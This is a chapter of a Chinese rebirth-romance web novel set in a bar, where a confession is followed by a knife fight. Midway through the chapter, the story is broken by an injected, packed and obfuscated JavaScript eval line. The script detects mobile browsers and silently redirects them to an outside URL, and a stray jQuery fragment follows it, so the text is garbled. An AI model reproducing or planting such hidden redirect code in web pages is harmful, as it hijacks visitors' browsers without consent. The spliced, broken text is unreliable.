“你还有多久结束?关于我的身份,我想跟你说点事,我先说结论,我是黎朝朝,但是我也是李霜儿,其实你认识的李霜儿,就是我。我知道你不信,但我可以跟你讲更多的细节让你相信我。”她单刀直入,上次就是支支吾吾出了事,这次必须谨记教训,直接先说结论,再给论据。
那边沉默了一阵,笑道:“行,那你过来吧,地址我发到你短信上,我这边还有一个小时结束”。
夜色正浓,HOTTY酒吧是当地有名的销金窟,针对不同的人群打造的服务项目,偶尔会邀请当红歌手或明星来串场演出,所以身受年轻一族喜欢,除开一楼的大厅,二三楼还设有豪华包厢做KTV商务娱乐。
黎朝朝到了HOTTY酒吧大厅后,坐在靠里的位置上等程淮,不敢喝其他的烈性酒,便喊服务员拿来两瓶青梅果酒,自己开了一瓶,先喝了几杯,只觉得这青梅酒酸甜适口,像吞下初夏清晨的露水,冰凉清润,带着果子特有的芬芳。一杯下肚,齿颊留香,只觉得是解渴的饮料,便又斟满一杯,就这样一杯又一杯之后,她只觉得自己浑身发飘,她边飘边想,反正自己干脆全部跟他说了,酒壮怂人胆,管他信不信,不信就霸王硬上弓。
谈完事情后,程淮拿起手机给她打电话:“在哪?”
等黎朝朝报完卡座号码后,他从三楼电梯下来,西装的冷硬气质与一楼喧嚣浮华的氛围格格不入,他脚伤虽然好很多了,不用轮椅了,但还是有些影响,步伐稳健却走得有些慢,目光扫过人群,看到了喝得满脸通红的黎朝朝。
他温和地皱了皱眉头,抬手拿掉她的杯子:“女孩子,少喝点酒。”
黎朝朝看到来人,咧嘴一笑:“程淮,你这么多年,始终没有变啊,还是喜欢管人。”
程淮抬着的手一顿,嘴角微不可察地一勾:“哦?是吗?怎么个管法......”
“管天管地的管法,别说那些了,来,喝一点,这个好喝,好喝着呢!”黎朝朝边给他倒酒边给自己倒满,“咦,程淮,你的腿怎么这么快能走路了?”
“好了,别喝了,你不是要跟我讲细节吗?我等着呢!”程淮好整以暇地看着她。
酒吧的灯光暧昧,空气里混杂着酒精与喧闹的味道。黎朝朝醉眼朦胧地望着他,脸颊像打了腮红一般,红扑扑的。
她突然弯起唇角:“嘘……你过来,我要悄悄跟你说。”
程淮微微俯身,靠近她。
就在他低头的瞬间,黎朝朝猛地伸手勾住他的脖颈,整个人带着酒气凑上去,吻了吻他的眉骨。
短短几秒,程淮整个人僵住,呼吸一窒。
黎朝朝也不知道怎么想的,就是靠近他后,很想亲一下他,脑子这么想,也就这么做了。
亲完后,黎朝朝有些心虚,咕哝道:“怎么了怎么了?亲一下,怎么了?我为你做了这么多,怎么不能亲一下了,虽然我是报恩,但是我也还是很喜欢你啊。”说实话,她亲完后,砸吧砸吧嘴,有些意犹未尽。
“呵,耍流氓?”他挑眉看着她,微不可察地笑了笑。
黎朝朝眨巴眨巴眼睛笑了,笑完后准备再去倒酒。
“别喝了,走,送你回去。”程淮拿开酒杯。
“我还没有告诉你全部事情呢!”黎朝朝固执地扒住杯子一动不动,嘿嘿朝他笑着。
程淮颇有些无奈,坐在她旁边,语气温和:“嗯,你说,我听着。”
“其实,我不叫王拂,我真的叫黎朝朝,我是重生的,我就是你找的李霜儿,前世,你被人杀害了,后面我穿越回来就是为了改变你的结局,你不是问我为什么知道这些事情吗?其实就是因为我前世知道你的所有事情,有人杀了你,但我不知道是谁。你知道,我当做李霜儿的时候吧,也不是我不告诉你真相,是因为那时候她身体有绝症,没有办法,我不知道自己啥时候嘎掉,万一我告诉你真相......”
然后黎朝朝又嘀嘀咕咕说了很多,而程淮的目光始终温和地盯着她,望着程淮好看的五官,有些犯花痴,身子有些软,旁边路过的一个服务员脚下一滑摔倒了,黎朝朝想去扶,结果脚步一软,整个人像断了线的木偶,直挺挺地朝前栽去。
程淮伸手想去架住她的胳膊,结果她手臂胡乱一揽,竟紧紧扯住了衣襟,两人一同失去了平衡,几乎是同一时间,程淮拧转身体,抽出一只手护住她后脑勺。
“砰!”
一声闷响。
程淮最终却从牙缝里挤出一声无可奈何的、极轻的叹息,然后缓缓闭上了眼睛。
酒吧人声鼎沸,灯光四射,程淮睁开眼,发现自己仰面躺着,后背着地,摔得七荤八素,狼狈不堪。手背的剧痛一阵阵袭来,而身上还压着一个沉甸甸的、不省人事的醉鬼。
他在黑暗中蹙眉,自己明明刚才在包厢里跟人喝酒,什么时候出来了?还有她为什么在这里?难道自己是喝多了?还是说......
黎朝朝笑嘻嘻地拍了拍程淮的脸:“虽然你没有高中时候可爱,但我还是会对你好的。”
程淮摇摇头,把黎朝朝扶起来,对她道:“走,我送你回去。”
黎朝朝一动不动,仰头看着她笑。
程淮拧眉:“你现在刚出院,身子还没有好利索,不要在这里受凉。”
黎朝朝撇了撇嘴,心道我没有喝醉,刚要再开口忽然注意到程淮的目光凝住,越过人群盯向另一边的卡座。
她也顺着视线看去,只见角落里一张桌子上,几个男人围着一个女人,手里不停往她杯子里灌酒。女人背对着这边,黑发松散披下去,肩颈线条纤细。她显然已经醉得不轻,动作迟缓,几次摇头推拒,却被男人们死死拉着,笑声刺耳。
下一刻,一个男人道:“李霜儿,你最好乖乖的自己喝,把我们伺候好,否则......”
程淮听到李霜儿三个字,眼神骤冷,整个人像绷紧的弦,周身气场倏然变了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782610|186755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黎朝朝也心里一惊:李霜儿?
程淮猛地站起身,酒杯在桌上发出清脆的声响。他迈开步子走过去,声音压低却锋利:“放开她。”
那几个男人先是一愣,随即大笑:“哟,这不是英雄救美呢?兄弟,少管闲事,她自己喝的,谁逼她了?”
女人这才缓缓抬起头来。灯光斑驳下,一张楚楚可怜的脸映入眼帘。
那一瞬间,程淮猛地怔住。黎朝朝也有些蒙圈了,瞬间酒醒了大半。
他喉咙发紧,看着李霜儿道:“……你?”
李霜儿愣了一瞬,却还未来得及开口,旁边一个男人已经不耐烦地推了程淮一把:“滚开,少坏我们好事!”说完就要对着李霜儿亲上去。
程淮眼神骤冷,一把拽住那人的手腕,力道狠厉,直接将对方压在桌边。气氛瞬间紧绷起来,其余的人立刻围上来,拳头呼啸着砸向他。
黎朝朝也后知后觉跟了过去,看到程淮在打架,也立马抄起袖子加入战场,谁靠近程淮,她就拿起酒瓶朝着谁扔过去。
酒吧里顿时混乱不堪,桌椅翻倒,酒杯碎裂,客人纷纷往两边跑。
程淮身手虽好,却毕竟寡不敌众。混乱中,突然有人从后腰抽出一把刀,寒光一闪,直直刺向程淮。
“阿淮——!”李霜儿嘶喊,挣扎着想挡,却被旁边的人死死拽住。
电光火石之间,黎朝朝下意识地扑了过去:“小心!”刀锋划破空气,黎朝朝伸手去挡,尖锐的痛感瞬间传来,血顺着她的手臂流淌下来,她有些破防:“求求了,能不能换个地方划,我的旧伤口还没有好啊!!!”
程淮眼眸一沉,冷厉得像是能冻结空气,猛地一脚踹翻那人,夺下刀,动作干脆凌厉。
鲜血汩汩流出,黎朝朝捂着手臂,边哀嚎边安慰自己:“嘶……还好还好,只是擦着,没有捅一刀,不然这条手臂怕是废了。”
程淮转头盯住黎朝朝手臂上的血迹,眉心紧锁,喉结滚动了一下,声音冷却隐隐发抖:“你怎么样了?”
黎朝朝还想插科打诨,看着程淮的样子,怕他担心,于是咧嘴一笑:“嗨呀,没事,不至于不至于。”
“啊......”李霜儿在慌乱中被推搡,肩膀猛地撞上碎裂的酒桌,划出一道深口子,鲜血顺着白皙的手臂流下,她脸色惨白,眼皮直打颤,终于支撑不住,软软倒在地上,那几个人见大事不妙,赶忙逃走了。
周围有人惊呼,混乱中酒吧经理慌忙打电话叫救护车。很快,医生带着急救箱赶到,检查着受伤人员的伤口与昏迷情况,现场一片紧张。
——
医院回廊处,程淮拨通了张军的电话,电话接通后,言简意赅道:“来息宁路的人民医院一趟。”
张军接到电话,还很稀奇:“怎么了?你不是去谈项目了,那雷老三又来当搅屎棍了?你又挂彩了?还是王拂又挂彩了?”
“你先过来,有很重要的事情找你。”